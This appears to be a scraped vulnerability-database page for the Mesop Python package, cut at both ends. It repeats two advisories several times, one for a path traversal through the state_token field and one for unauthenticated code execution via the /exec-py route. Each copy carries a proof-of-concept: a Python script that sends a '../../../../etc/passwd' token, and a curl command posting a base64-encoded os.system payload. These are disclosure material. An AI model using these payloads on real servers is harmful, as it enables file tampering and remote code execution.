            0.12.4rc0


            0.12.5


            0.12.5b1


            0.12.5rc1


            0.12.6


            0.12.6rc1


            0.12.7


            0.12.7b1


            0.12.7rc1


            0.12.8


            0.12.8b1


            0.12.8rc1


            0.12.9


            0.12.9rc1


            0.13.0


            0.13.0rc1


            0.14.0


            0.14.1


            0.14.1rc1


            0.14.2b1


            0.14.2b2


            0.14.2rc1


            0.14rc1


            0.3.1


            0.3.2


            0.3.3


            0.3.4


            0.4.0


            0.4.1


            0.4.2


            0.5.0


            0.5.1


            0.5.2


            0.5.3


            0.5.4


            0.5.5


            0.5.6


            0.6.0


            0.7.0


            0.7.1


            0.7.2


            0.8.0


            0.8.0rc0


            0.9.0


            0.9.0rc1


            0.9.1


            0.9.1rc1


            0.9.2


            0.9.2rc1


            0.9.3


            0.9.3rc0


            0.9.4


            0.9.4rc0


            0.9.5


            0.9.5rc0


            1.0.0


            1.0.0rc1


            1.0.0rc2


            1.0.1


            1.0.1rc1


            1.1.0


            1.1.0rc1


            1.1.1


            1.1.1rc1


            1.1.1rc2


            1.1.1rc3


            1.2.0


            1.2.0rc1


            1.2.1


            1.2.1rc1


            1.2.2


            1.2.2rc1

Fixed in


          1.2.3

References

Updated Jul 13, 2026 · Source: OSV.dev

CVE-2026-33054 PYSEC-2026-411 GHSA-8qvf-mr4w-9x2c Jun 29, 2026

Mesop has a Path Traversal utilizing `FileStateSessionBackend` leads to Application Denial of Service and File Write/Deletion

10.0 / 10

Critical

Network Low None None Changed High High High

Summary

A Path Traversal vulnerability allows any user (or attacker) supplying an untrusted state_token through the UI stream payload to arbitrarily target files on the disk under the standard file-based runtime backend. This can result in application denial of service (via crash loops when reading non-msgpack target files as configurations), or arbitrary file manipulation.

Details

When the framework is configured to use the disk-based session backend (FileStateSessionBackend), the user's state_token actively dictates where the runtime session state is physically saved or queried natively on disk. In mesop/server/server.py, specifically the ui_stream endpoint, the event.state_token is collected directly from the untrusted incoming protobuf message struct: mesop.protos.ui_pb2.UserEvent. Because this is unconditionally passed to FileStateSessionBackend._make_file_path(self, token), it evaluates standard path operators (e.g. ../../../).

# mesop/server/state_session.py
  def _make_file_path(self, token: str) -> Path:
    return self.base_dir / (self.prefix + token)

Python's standard library natively resolves OS traversal semantics allowing full escape from the base_dir destination intent.

PoC

An attacker can utilize Python to craft and send a malicious Protobuf payload to the /ui stream.

import requests
import mesop.protos.ui_pb2 as pb # Assuming mesop protos are compiled

# 1. Craft the malicious protobuf message
user_event = pb.UserEvent()
 # Escaping the tmp directory via path traversal to target a sensitive file, e.g., the root crontab or a system file
user_event.state_token = "../../../../etc/passwd" 

# Alternatively, targeting Windows:
# user_event.state_token = "..\\..\\..\\..\\Windows\\System32\\drivers\\etc\\hosts"

serialized_event = user_event.SerializeToString()

# 2. Send the message to the ui stream endpoint
 headers = {'Content-Type': 'application/x-protobuf'}
response = requests.post(
    "http://localhost:32123/ui",
    data=serialized_event,
    headers=headers
 )

# The server will attempt to parse /etc/passwd using msgpack, 
# resulting in a crash or reading/overwriting operations depending on the request type invoked.
 print(response.content)

Impact

This vulnerability heavily exposes systems hosted utilizing FileStateSessionBackend. Unauthorized malicious actors could interact with arbitrary payloads overwriting or explicitly removing underlying service resources natively outside the application bounds.

Affected versions


          0.0.1


          0.10.0


          0.10.0rc0


          0.10.0rc1


          0.10.0rc2


          0.11.0


          0.11.0rc0


          0.11.1


          0.12.0


          0.12.0rc0


          0.12.1


          0.12.10b1

+ 80 more


            0.12.10b2


            0.12.10b3


            0.12.10rc1


            0.12.1rc0


            0.12.2


            0.12.3


            0.12.3rc0


            0.12.4


            0.12.4rc0


            0.12.5


            0.12.5b1


            0.12.5rc1


            0.12.6


            0.12.6rc1


            0.12.7


            0.12.7b1


            0.12.7rc1


            0.12.8


            0.12.8b1


            0.12.8rc1


            0.12.9


            0.12.9rc1


            0.13.0


            0.13.0rc1


            0.14.0


            0.14.1


            0.14.1rc1


            0.14.2b1


            0.14.2b2


            0.14.2rc1


            0.14rc1


            0.3.1


            0.3.2


            0.3.3


            0.3.4


            0.4.0


            0.4.1


            0.4.2


            0.5.0


            0.5.1


            0.5.2


            0.5.3


            0.5.4


            0.5.5


            0.5.6


            0.6.0


            0.7.0


            0.7.1


            0.7.2


            0.8.0


            0.8.0rc0


            0.9.0


            0.9.0rc1


            0.9.1


            0.9.1rc1


            0.9.2


            0.9.2rc1


            0.9.3


            0.9.3rc0


            0.9.4


            0.9.4rc0


            0.9.5


            0.9.5rc0


            1.0.0


            1.0.0rc1


            1.0.0rc2


            1.0.1


            1.0.1rc1


            1.1.0


            1.1.0rc1


            1.1.1


            1.1.1rc1


            1.1.1rc2


            1.1.1rc3


            1.2.0


            1.2.0rc1


            1.2.1


            1.2.1rc1


            1.2.2


            1.2.2rc1

Fixed in


          1.2.3

References

Updated Jul 13, 2026 · Source: OSV.dev

Apr 01, 2025

1.0.1rc1 pre

2 CVEs

CVE-2026-33057 PYSEC-2026-412 GHSA-gjgx-rvqr-6w6v Jun 29, 2026

Mesop Affected by Unauthenticated Remote Code Execution via Test Suite Route /exec-py

9.8 / 10

Critical

Network Low None None Unchanged High High High

Summary

An explicit web endpoint inside the ai/ testing module infrastructure directly ingests untrusted Python code strings unconditionally without authentication measures, yielding standard Unrestricted Remote Code Execution. Any individual capable of routing HTTP logic to this server block will gain explicit host-machine command rights.

Details

The AI codebase package includes a lightweight debugging Flask server inside ai/sandbox/wsgi_app.py. The /exec-py route accepts base_64 encoded raw string payloads inside the code parameter natively evaluated by a basic POST web request. It saves it rapidly to the operating system logic path and injects it recursively using execute_module(module_path...).

 # ai/sandbox/wsgi_app.py
@flask_app.route("/exec-py", methods=["POST"])
def exec_py_route():
  code = base64.urlsafe_b64decode(request.form.get("code"))
  # ... code is blindly written to file and forcefully executed

PoC

# Payload:
# import os
# os.system('echo "pwned by attacker" > /tmp/pwned.txt')
# 
# Base64 string represents the identical payload block above: 
# aW1wb3J0IG9zCm9zLnN5c3RlbSgnZWNobyAicHduZWQgYnkgYXR0YWNrZXIiID4gL3RtcC9wd25lZC50eHQnKQ==

curl -X POST http://<target_ip_address_hosting_sandbox>:port/exec-py \
 -H "Content-Type: application/x-www-form-urlencoded" \
 -d "code=aW1wb3J0IG9zCm9zLnN5c3RlbSgnZWNobyAicHduZWQgYnkgYXR0YWNrZXIiID4gL3RtcC9wd25lZC50eHQnKQ=="

# Validate exploitation target execution natively:
# $ cat /tmp/pwned.txt
# pwned by attacker

Impact

This presents trivial severity for systems publicly exposed or lacking strictly verified boundary firewalls due to absolute unauthenticated command injection privileges targeting the direct execution interpreter running this service sandbox.

Affected versions


          0.0.1


          0.10.0


          0.10.0rc0


          0.10.0rc1


          0.10.0rc2


          0.11.0


          0.11.0rc0


          0.11.1


          0.12.0


          0.12.0rc0


          0.12.1


          0.12.10b1

+ 80 more


            0.12.10b2


            0.12.10b3


            0.12.10rc1


            0.12.1rc0


            0.12.2


            0.12.3


            0.12.3rc0


            0.12.4


            0.12.4rc0


            0.12.5


            0.12.5b1


            0.12.5rc1


            0.12.6


            0.12.6rc1


            0.12.7


            0.12.7b1


            0.12.7rc1


            0.12.8


            0.12.8b1


            0.12.8rc1


            0.12.9


            0.12.9rc1


            0.13.0


            0.13.0rc1


            0.14.0


            0.14.1


            0.14.1rc1


            0.14.2b1


            0.14.2b2


            0.14.2rc1


            0.14rc1


            0.3.1


            0.3.2


            0.3.3


            0.3.4


            0.4.0


            0.4.1


            0.4.2


            0.5.0


            0.5.1


            0.5.2


            0.5.3


            0.5.4


            0.5.5


            0.5.6


            0.6.0


            0.7.0


            0.7.1


            0.7.2


            0.8.0


            0.8.0rc0


            0.9.0


            0.9.0rc1


            0.9.1


            0.9.1rc1


            0.9.2


            0.9.2rc1


            0.9.3


            0.9.3rc0


            0.9.4


            0.9.4rc0


            0.9.5


            0.9.5rc0


            1.0.0


            1.0.0rc1


            1.0.0rc2


            1.0.1


            1.0.1rc1


            1.1.0


            1.1.0rc1


            1.1.1


            1.1.1rc1


            1.1.1rc2


            1.1.1rc3


            1.2.0


            1.2.0rc1


            1.2.1


            1.2.1rc1


            1.2.2


            1.2.2rc1

Fixed in


          1.2.3

References

Updated Jul 13, 2026 · Source: OSV.dev

CVE-2026-33054 PYSEC-2026-411 GHSA-8qvf-mr4w-9x2c Jun 29, 2026

Mesop has a Path Traversal utilizing `FileStateSessionBackend` leads to Application Denial of Service and File Write/Deletion

10.0 / 10

Critical

Network Low None None Changed High High High

Summary

A Path Traversal vulnerability allows any user (or attacker) supplying an untrusted state_token through the UI stream payload to arbitrarily target files on the disk under the standard file-based runtime backend. This can result in application denial of service (via crash loops when reading non-msgpack target files as configurations), or arbitrary file manipulation.

Details

When the framework is configured to use the disk-based session backend (FileStateSessionBackend), the user's state_token actively dictates where the runtime session state is physically saved or queried natively on disk. In mesop/server/server.py, specifically the ui_stream endpoint, the event.state_token is collected directly from the untrusted incoming protobuf message struct: mesop.protos.ui_pb2.UserEvent. Because this is unconditionally passed to FileStateSessionBackend._make_file_path(self, token), it evaluates standard path operators (e.g. ../../../).

# mesop/server/state_session.py
  def _make_file_path(self, token: str) -> Path:
    return self.base_dir / (self.prefix + token)

Python's standard library natively resolves OS traversal semantics allowing full escape from the base_dir destination intent.

PoC

An attacker can utilize Python to craft and send a malicious Protobuf payload to the /ui stream.

import requests
import mesop.protos.ui_pb2 as pb # Assuming mesop protos are compiled

# 1. Craft the malicious protobuf message
user_event = pb.UserEvent()
 # Escaping the tmp directory via path traversal to target a sensitive file, e.g., the root crontab or a system file
user_event.state_token = "../../../../etc/passwd" 

# Alternatively, targeting Windows:
# user_event.state_token = "..\\..\\..\\..\\Windows\\System32\\drivers\\etc\\hosts"

serialized_event = user_event.SerializeToString()

# 2. Send the message to the ui stream endpoint
 headers = {'Content-Type': 'application/x-protobuf'}
response = requests.post(
    "http://localhost:32123/ui",
    data=serialized_event,
    headers=headers
 )

# The server will attempt to parse /etc/passwd using msgpack, 
# resulting in a crash or reading/overwriting operations depending on the request type invoked.
 print(response.content)

Impact

This vulnerability heavily exposes systems hosted utilizing FileStateSessionBackend. Unauthorized malicious actors could interact with arbitrary payloads overwriting or explicitly removing underlying service resources natively outside the application bounds.

Affected versions


          0.0.1


          0.10.0


          0.10.0rc0


          0.10.0rc1


          0.10.0rc2


          0.11.0


          0.11.0rc0


          0.11.1


          0.12.0


          0.12.0rc0


          0.12.1


          0.12.10b1

+ 80 more


            0.12.10b2


            0.12.10b3


            0.12.10rc1


            0.12.1rc0


            0.12.2


            0.12.3


            0.12.3rc0


            0.12.4


            0.12.4rc0


            0.12.5


            0.12.5b1


            0.12.5rc1


            0.12.6


            0.12.6rc1


            0.12.7


            0.12.7b1


            0.12.7rc1


            0.12.8


            0.12.8b1


            0.12.8rc1


            0.12.9


            0.12.9rc1


            0.13.0


            0.13.0rc1


            0.14.0


            0.14.1


            0.14.1rc1


            0.14.2b1


            0.14.2b2


            0.14.2rc1


            0.14rc1


            0.3.1


            0.3.2


            0.3.3


            0.3.4


            0.4.0


            0.4.1


            0.4.2


            0.5.0


            0.5.1


            0.5.2


            0.5.3


            0.5.4


            0.5.5


            0.5.6


            0.6.0


            0.7.0


            0.7.1


            0.7.2


            0.8.0


            0.8.0rc0


            0.9.0


            0.9.0rc1


            0.9.1


            0.9.1rc1


            0.9.2


            0.9.2rc1


            0.9.3


            0.9.3rc0


            0.9.4


            0.9.4rc0


            0.9.5


            0.9.5rc0


            1.0.0


            1.0.0rc1


            1.0.0rc2


            1.0.1


            1.0.1rc1


            1.1.0


            1.1.0rc1


            1.1.1


            1.1.1rc1


            1.1.1rc2


            1.1.1rc3


            1.2.0


            1.2.0rc1


            1.2.1


            1.2.1rc1


            1.2.2


            1.2.2rc1

Fixed in


          1.2.3

References

Updated Jul 13, 2026 · Source: OSV.dev

Apr 01, 2025

1.0.0 major

2 CVEs

CVE-2026-33057 PYSEC-2026-412 GHSA-gjgx-rvqr-6w6v Jun 29, 2026

Mesop Affected by Unauthenticated Remote Code Execution via Test Suite Route /exec-py

9.8 / 10

Critical

Network Low None None Unchanged High High High

Summary

An explicit web endpoint inside the ai/ testing module infrastructure directly ingests untrusted Python code strings unconditionally without authentication measures, yielding standard Unrestricted Remote Code Execution. Any individual capable of routing HTTP logic to this server block will gain explicit host-machine command rights.

Details

The AI codebase package includes a lightweight debugging Flask server inside ai/sandbox/wsgi_app.py. The /exec-py route accepts base_64 encoded raw string payloads inside the code parameter natively evaluated by a basic POST web request. It saves it rapidly to the operating system logic path and injects it recursively using execute_module(module_path...).

 # ai/sandbox/wsgi_app.py
@flask_app.route("/exec-py", methods=["POST"])
def exec_py_route():
  code = base64.urlsafe_b64decode(request.form.get("code"))
  # ... code is blindly written to file and forcefully executed

PoC

# Payload:
# import os
# os.system('echo "pwned by attacker" > /tmp/pwned.txt')
# 
# Base64 string represents the identical payload block above: 
# aW1wb3J0IG9zCm9zLnN5c3RlbSgnZWNobyAicHduZWQgYnkgYXR0YWNrZXIiID4gL3RtcC9wd25lZC50eHQnKQ==

curl -X POST http://<target_ip_address_hosting_sandbox>:port/exec-py \
 -H "Content-Type: application/x-www-form-urlencoded" \
 -d "code=aW1wb3J0IG9zCm9zLnN5c3RlbSgnZWNobyAicHduZWQgYnkgYXR0YWNrZXIiID4gL3RtcC9wd25lZC50eHQnKQ=="

# Validate exploitation target execution natively:
# $ cat /tmp/pwned.txt
# pwned by attacker

Impact

This presents trivial severity for systems publicly exposed or lacking strictly verified boundary firewalls due to absolute unauthenticated command injection privileges targeting the direct execution interpreter running this service sandbox.

Affected versions


          0.0.1


          0.10.0


          0.10.0rc0


          0.10.0rc1


          0.10.0rc2


          0.11.0


          0.11.0rc0


          0.11.1


          0.12.0


          0.12.0rc0


          0.12.1


          0.12.10b1

+ 80 more


            0.12.10b2


            0.12.10b3


            0.12.10rc1


            0.12.1rc0


            0.12.2


            0.12.3


            0.12.3rc0


            0.12.4


            0.12.4rc0


            0.12.5


            0.12.5b1


            0.12.5rc1


            0.12.6


            0.12.6rc1


            0.12.7


            0.12.7b1


            0.12.7rc1


            0.12.8


            0.12.8b1


            0.12.8rc1


            0.12.9


            0.12.9rc1


            0.13.0


            0.13.0rc1


            0.14.0


            0.14.1


            0.14.1rc1


            0.14.2b1


            0.14.2b2


            0.14.2rc1


            0.14rc1


            0.3.1


            0.3.2


            0.3.3


            0.3.4


            0.4.0


            0.4.1


            0.4.2


            0.5.0


            0.5.1


            0.5.2


            0.5.3


            0.5.4


            0.5.5


            0.5.6


            0.6.0


            0.7.0


            0.7.1


            0.7.2


            0.8.0


            0.8.0rc0


            0.9.0


            0.9.0rc1


            0.9.1


            0.9.1rc1


            0.9.2


            0.9.2rc1


            0.9.3


            0.9.3rc0


            0.9.4


            0.9.4rc0


            0.9.5


            0.9.5rc0


            1.0.0


            1.0.0rc1


            1.0.0rc2


            1.0.1


            1.0.1rc1


            1.1.0


            1.1.0rc1


            1.1.1


            1.1.1rc1


            1.1.1rc2


            1.1.1rc3


            1.2.0


            1.2.0rc1


            1.2.1


            1.2.1rc1


            1.2.2


            1.2.2rc1

Fixed in


          1.2.3

References

Updated Jul 13, 2026 · Source: OSV.dev

CVE-2026-33054 PYSEC-2026-411 GHSA-8qvf-mr4w-9x2c Jun 29, 2026

Mesop has a Path Traversal utilizing `FileStateSessionBackend` leads to Application Denial of Service and File Write/Deletion

10.0 / 10

Critical

Network Low None None Changed High High High

Summary

A Path Traversal vulnerability allows any user (or attacker) supplying an untrusted state_token through the UI stream payload to arbitrarily target files on the disk under the standard file-based runtime backend. This can result in application denial of service (via crash loops when reading non-msgpack target files as configurations), or arbitrary file manipulation.

Details

When the framework is configured to use the disk-based session backend (FileStateSessionBackend), the user's state_token actively dictates where the runtime session state is physically saved or queried natively on disk. In mesop/server/server.py, specifically the ui_stream endpoint, the event.state_token is collected directly from the untrusted incoming protobuf message struct: mesop.protos.ui_pb2.UserEvent. Because this is unconditionally passed to FileStateSessionBackend._make_file_path(self, token), it evaluates standard path operators (e.g. ../../../).

# mesop/server/state_session.py
  def _make_file_path(self, token: str) -> Path:
    return self.base_dir / (self.prefix + token)

Python's standard library natively resolves OS traversal semantics allowing full escape from the base_dir destination intent.

PoC

An attacker can utilize Python to craft and send a malicious Protobuf payload to the /ui stream.

import requests
import mesop.protos.ui_pb2 as pb # Assuming mesop protos are compiled

# 1. Craft the malicious protobuf message
user_event = pb.UserEvent()
 # Escaping the tmp directory via path traversal to target a sensitive file, e.g., the root crontab or a system file
user_event.state_token = "../../../../etc/passwd" 

# Alternatively, targeting Windows:
# user_event.state_token = "..\\..\\..\\..\\Windows\\System32\\drivers\\etc\\hosts"

serialized_event = user_event.SerializeToString()

# 2. Send the message to the ui stream endpoint
 headers = {'Content-Type': 'application/x-protobuf'}
response = requests.post(
    "http://localhost:32123/ui",
    data=serialized_event,
    headers=headers
 )

# The server will attempt to parse /etc/passwd using msgpack, 
# resulting in a crash or reading/overwriting operations depending on the request type invoked.
 print(response.content)

Impact

This vulnerability heavily exposes systems hosted utilizing FileStateSessionBackend. Unauthorized malicious actors could interact with arbitrary payloads overwriting or explicitly removing underlying service resources natively outside the application bounds.

Affected versions


          0.0.1


          0.10.0


          0.10.0rc0


          0.10.0rc1


          0.10.0rc2


          0.11.0


          0.11.0rc0


          0.11.1


          0.12.0


          0.12.0rc0


          0.12.1


          0.12.10b1

+ 80 more


            0.12.10b2


            0.12.10b3


            0.12.10rc1


            0.12.1rc0


            0.12.2


            0.12.3


            0.12.3rc0


            0.12.4


            0.12.4rc0


            0.12.5


            0.12.5b1


            0.12.5rc1


            0.12.6


            0.12.6rc1


            0.12.7


            0.12.7b1


            0.12.7rc1


            0.12.8


            0.12.8b1


            0.12.8rc1


            0.12.9


            0.12.9rc1


            0.13.0


            0.13.0rc1


            0.14.0


            0.14.1


            0.14.1rc1


            0.14.2b1


            0.14.2b2


            0.14.2rc1


            0.14rc1


            0.3.1


            0.3.2


            0.3.3


            0.3.4


            0.4.0


            0.4.1


            0.4.2


            0.5.0


            0.5.1


            0.5.2


            0.5.3


            0.5.4


            0.5.5


            0.5.6


            0.6.0


            0.7.0


            0.7.1


            0.7.2


            0.8.0


            0.8.0rc0


            0.9.0


            0.9.0rc1


            0.9.1


            0.9.1rc1


            0.9.2


            0.9.2rc1


            0.9.3


            0.9.3rc0


            0.9.4


            0.9.4rc0


            0.9.5


            0.9.5rc0


            1.0.0


            1.0.0rc1


            1.0.0rc2


            1.0.1


            1.0.1rc1


            1.1.0


            1.1.0rc1


            1.1.1


            1.1.1rc1


            1.1.1rc2


            1.1.1rc3


            1.2.0


            1.2.0rc1


            1.2.1


            1.2.1rc1


            1.2.2


            1.2.2rc1

Fixed in


          1.2.3

References

Updated Jul 13, 2026 · Source: OSV.dev

Mar 19, 2025

1.0.0rc2 pre

2 CVEs

CVE-2026-33057 PYSEC-2026-412 GHSA-gjgx-rvqr-6w6v Jun 29, 2026

Mesop Affected by Unauthenticated Remote Code Execution via Test Suite Route /exec-py

9.8 / 10

Critical

Network Low None None Unchanged High High High

Summary

An explicit web endpoint inside the ai/ testing module infrastructure directly ingests untrusted Python code strings unconditionally without authentication measures, yielding standard Unrestricted Remote Code Execution. Any individual capable of routing HTTP logic to this server block will gain explicit host-machine command rights.

Details

The AI codebase package includes a lightweight debugging Flask server inside ai/sandbox/wsgi_app.py. The /exec-py route accepts base_64 encoded raw string payloads inside the code parameter natively evaluated by a basic POST web request. It saves it rapidly to the operating system logic path and injects it recursively using execute_module(module_path...).

 # ai/sandbox/wsgi_app.py
@flask_app.route("/exec-py", methods=["POST"])
def exec_py_route():
  code = base64.urlsafe_b64decode(request.form.get("code"))
  # ... code is blindly written to file and forcefully executed

PoC

# Payload:
# import os
# os.system('echo "pwned by attacker" > /tmp/pwned.txt')
# 
# Base64 string represents the identical payload block above: 
# aW1wb3J0IG9zCm9zLnN5c3RlbSgnZWNobyAicHduZWQgYnkgYXR0YWNrZXIiID4gL3RtcC9wd25lZC50eHQnKQ==

curl -X POST http://<target_ip_address_hosting_sandbox>:port/exec-py \
 -H "Content-Type: application/x-www-form-urlencoded" \
 -d "code=aW1wb3J0IG9zCm9zLnN5c3RlbSgnZWNobyAicHduZWQgYnkgYXR0YWNrZXIiID4gL3RtcC9wd25lZC50eHQnKQ=="

# Validate exploitation target execution natively:
# $ cat /tmp/pwned.txt
# pwned by attacker

Impact

This presents trivial severity for systems publicly exposed or lacking strictly verified boundary firewalls due to absolute unauthenticated command injection privileges targeting the direct execution interpreter running this service sandbox.

Affected versions


          0.0.1


          0.10.0


          0.10.0rc0


          0.10.0rc1


          0.10.0rc2


          0.11.0


          0.11.0rc0


          0.11.1


          0.12.0


          0.12.0rc0


          0.12.1


          0.12.10b1

+ 80 more


            0.12.10b2


            0.12.10b3


            0.12.10rc1


            0.12.1rc0


            0.12.2


            0.12.3


            0.12.3rc0


            0.12.4


            0.12.4rc0


            0.12.5


            0.12.5b1


            0.12.5rc1


            0.12.6


            0.12.6rc1


            0.12.7


            0.12.7b1


            0.12.7rc1


            0.12.8


            0.12.8b1


            0.12.8rc1


            0.12.9


            0.12.9rc1


            0.13.0


            0.13.0rc1


            0.14.0


            0.14.1


            0.14.1rc1


            0.14.2b1


            0.14.2b2


            0.14.2rc1


            0.14rc1


            0.3.1


            0.3.2


            0.3.3


            0.3.4


            0.4.0


            0.4.1


            0.4.2


            0.5.0


            0.5.1


            0.5.2


            0.5.3


            0.5.4


            0.5.5


            0.5.6


            0.6.0


            0.7.0


            0.7.1


            0.7.2


            0.8.0


            0.8.0rc0


            0.9.0


            0.9.0rc1


            0.9.1


            0.9.1rc1


            0.9.2


            0.9.2rc1


            0.9.3


            0.9.3rc0


            0.9.4


            0.9.4rc0


            0.9.5


            0.9.5rc0


            1.0.0


            1.0.0rc1


            1.0.0rc2


            1.0.1


            1.0.1rc1


            1.1.0


            1.1.0rc1


            1.1.1


            1.1.1rc1


            1.1.1rc2


            1.1.1rc3


            1.2.0


            1.2.0rc1


            1.2.1


            1.2.1rc1


            1.2.2


            1.2.2rc1

Fixed in


          1.2.3

References

Updated Jul 13, 2026 · Source: OSV.dev

CVE-2026-33054 PYSEC-2026-411 GHSA-8qvf-mr4w-9x2c Jun 29, 2026

Mesop has a Path Traversal utilizing `FileStateSessionBackend` leads to Application Denial of Service and File Write/Deletion

10.0 / 10

Critical

Network Low None None Changed High High High

Summary

A Path Traversal vulnerability allows any user (or attacker) supplying an untrusted state_token through the UI stream payload to arbitrarily target files on the disk under the standard file-based runtime backend. This can result in application denial of service (via crash loops when reading non-msgpack target files as configurations), or arbitrary file manipulation.

Details

When the framework is configured to use the disk-based session backend (FileStateSessionBackend), the user's state_token actively dictates where the runtime session state is physically saved or queried natively on disk. In mesop/server/server.py, specifically the ui_stream endpoint, the event.state_token is collected directly from the untrusted incoming protobuf message struct: mesop.protos.ui_pb2.UserEvent. Because this is unconditionally passed to FileStateSessionBackend._make_file_path(self, token), it evaluates standard path operators (e.g. ../../../).

# mesop/server/state_session.py
  def _make_file_path(self, token: str) -> Path:
    return self.base_dir / (self.prefix + token)

Python's standard library natively resolves OS traversal semantics allowing full escape from the base_dir destination intent.

PoC

An attacker can utilize Python to craft and send a malicious Protobuf payload to the /ui stream.

import requests
import mesop.protos.ui_pb2 as pb # Assuming mesop protos are compiled

# 1. Craft the malicious protobuf message
user_event = pb.UserEvent()
 # Escaping the tmp directory via path traversal to target a sensitive file, e.g., the root crontab or a system file
user_event.state_token = "../../../../etc/passwd" 

# Alternatively, targeting Windows:
# user_event.state_token = "..\\..\\..\\..\\Windows\\System32\\drivers\\etc\\hosts"

serialized_event = user_event.SerializeToString()

# 2. Send the message to the ui stream endpoint
 headers = {'Content-Type': 'application/x-protobuf'}
response = requests.post(
    "http://localhost:32123/ui",
    data=serialized_event,
    headers=headers
 )

# The server will attempt to parse /etc/passwd using msgpack, 
# resulting in a crash or reading/overwriting operations depending on the request type invoked.
 print(response.content)

Impact

This vulnerability heavily exposes systems hosted utilizing FileStateSessionBackend. Unauthorized malicious actors could interact with arbitrary payloads overwriting or explicitly removing underlying service resources natively outside the application bounds.

Affected versions


          0.0.1


          0.10.0


          0.10.0rc0


          0.10.0rc1


          0.10.0rc2


          0.11.0


          0.11.0rc0


          0.11.1


          0.12.0


          0.12.0rc0


          0.12.1


          0.12.10b1

+ 80 more


            0.12.10b2


            0.12.10b3


            0.12.10rc1


            0.12.1rc0


            0.12.2


            0.12.3


            0.12.3rc0


            0.12.4


            0.12.4rc0


            0.12.5


            0.12.5b1


            0.12.5rc1


            0.12.6


            0.12.6rc1


            0.12.7


            0.12.7b1


            0.12.7rc1


            0.12.8


            0.12.8b1


            0.12.8rc1


            0.12.9


            0.12.9rc1


            0.13.0


            0.13.0rc1


            0.14.0


            0.14.1


            0.14.1rc1


            0.14.2b1


            0.14.2b2


            0.14.2rc1


            0.14rc1


            0.3.1


            0.3.2


            0.3.3


            0.3.4


            0.4.0


            0.4.1


            0.4.2


            0.5.0


            0.5.1


            0.5.2


            0.5.3


            0.5.4


            0.5.5


            0.5.6


            0.6.0


            0.7.0


            0.7.1


            0.7.2


            0.8.0


            0.8.0rc0


            0.9.0


            0.9.0rc1


            0.9.1


            0.9.1rc1


            0.9.2


            0.9.2rc1


            0.9.3


            0.9.3rc0


            0.9.4


            0.9.4rc0


            0.9.5


            0.9.5rc0


            1.0.0


            1.0.0rc1


            1.0.0rc2


            1.0.1


            1.0.1rc1


            1.1.0


            1.1.0rc1


            1.1.1


            1.1.1rc1


            1.1.1rc2


            1.1.1rc3


            1.2.0


            1.2.0rc1


            1.2.1


            1.2.1rc1


            1.2.2


            1.2.2rc1

Fixed in


          1.2.3

References

Updated Jul 13, 2026 · Source: OSV.dev

Mar 19, 2025

1.0.0rc1 pre

2 CVEs

CVE-2026-33057 PYSEC-2026-412 GHSA-gjgx-rvqr-6w6v Jun 29, 2026

Mesop Affected by Unauthenticated Remote Code Execution via Test Suite Route /exec-py

9.8 / 10

Critical

Network Low None None Unchanged High High High

Summary

An explicit web endpoint inside the ai/ testing module infrastructure directly ingests untrusted Python code strings unconditionally without authentication measures, yielding standard Unrestricted Remote Code Execution. Any individual capable of routing HTTP logic to this server block will gain explicit host-machine command rights.

Details

The AI codebase package includes a lightweight debugging Flask server inside ai/sandbox/wsgi_app.py. The /exec-py route accepts base_64 encoded raw string payloads inside the code parameter natively evaluated by a basic POST web request. It saves it rapidly to the operating system logic path and injects it recursively using execute_module(module_path...).

 # ai/sandbox/wsgi_app.py
@flask_app.route("/exec-py", methods=["POST"])
def exec_py_route():
  code = base64.urlsafe_b64decode(request.form.get("code"))
  # ... code is blindly written to file and forcefully executed

PoC

# Payload:
# import os
# os.system('echo "pwned by attacker" > /tmp/pwned.txt')
# 
# Base64 string represents the identical payload block above: 
# aW1wb3J0IG9zCm9zLnN5c3RlbSgnZWNobyAicHduZWQgYnkgYXR0YWNrZXIiID4gL3RtcC9wd25lZC50eHQnKQ==

curl -X POST http://<target_ip_address_hosting_sandbox>:port/exec-py \
 -H "Content-Type: application/x-www-form-urlencoded" \
 -d "code=aW1wb3J0IG9zCm9zLnN5c3RlbSgnZWNobyAicHduZWQgYnkgYXR0YWNrZXIiID4gL3RtcC9wd25lZC50eHQnKQ=="

# Validate exploitation target execution natively:
# $ cat /tmp/pwned.txt
# pwned by attacker

Impact

This presents trivial severity for systems publicly exposed or lacking strictly verified boundary firewalls due to absolute unauthenticated command injection privileges targeting the direct execution interpreter running this service sandbox.

Affected versions


          0.0.1


          0.10.0


          0.10.0rc0


          0.10.0rc1


          0.10.0rc2


          0.11.0


          0.11.0rc0


          0.11.1


          0.12.0


          0.12.0rc0


          0.12.1


          0.12.10b1

+ 80 more


            0.12.10b2


            0.12.10b3


            0.12.10rc1


            0.12.1rc0


            0.12.2


            0.12.3


            0.12.3rc0


            0.12.4


            0.12.4rc0


            0.12.5


            0.12.5b1


            0.12.5rc1


            0.12.6


            0.12.6rc1


            0.12.7


            0.12.7b1


            0.12.7rc1


            0.12.8


            0.12.8b1


            0.12.8rc1


            0.12.9


            0.12.9rc1


            0.13.0


            0.13.0rc1


            0.14.0


            0.14.1


            0.14.1rc1


            0.14.2b1


            0.14.2b2


            0.14.2rc1


            0.14rc1


            0.3.1


            0.3.2


            0.3.3


            0.3.4


            0.4.0


            0.4.1


            0.4.2


            0.5.0


            0.5.1


            0.5.2


            0.5.3


            0.5.4


            0.5.5


            0.5.6


            0.6.0


            0.7.0


            0.7.1


            0.7.2


            0.8.0


            0.8.0rc0


            0.9.0


            0.9.0rc1


            0.9.1


            0.9.1rc1


            0.9.2


            0.9.2rc1


            0.9.3


            0.9.3rc0


            0.9.4


            0.9.4rc0


            0.9.5


            0.9.5rc0


            1.0.0


            1.0.0rc1


            1.0.0rc2


            1.0.1


            1.0.1rc1


            1.1.0


            1.1.0rc1


            1.1.1


            1.1.1rc1


            1.1.1rc2


            1.1.1rc3


            1.2.0


            1.2.0rc1


            1.2.1


            1.2.1rc1


            1.2.2


            1.2.2rc1

Fixed in


          1.2.3

References

Updated Jul 13, 2026 · Source: OSV.dev

CVE-2026-33054 PYSEC-2026-411 GHSA-8qvf-mr4w-9x2c Jun 29, 2026

Mesop has a Path Traversal utilizing `FileStateSessionBackend` leads to Application Denial of Service and File Write/Deletion

10.0 / 10

Critical

Network Low None None Changed High High High

Summary

A Path Traversal vulnerability allows any user (or attacker) supplying an untrusted state_token through the UI stream payload to arbitrarily target files on the disk under the standard file-based runtime backend. This can result in application denial of service (via crash loops when reading non-msgpack target files as configurations), or arbitrary file manipulation.

Details

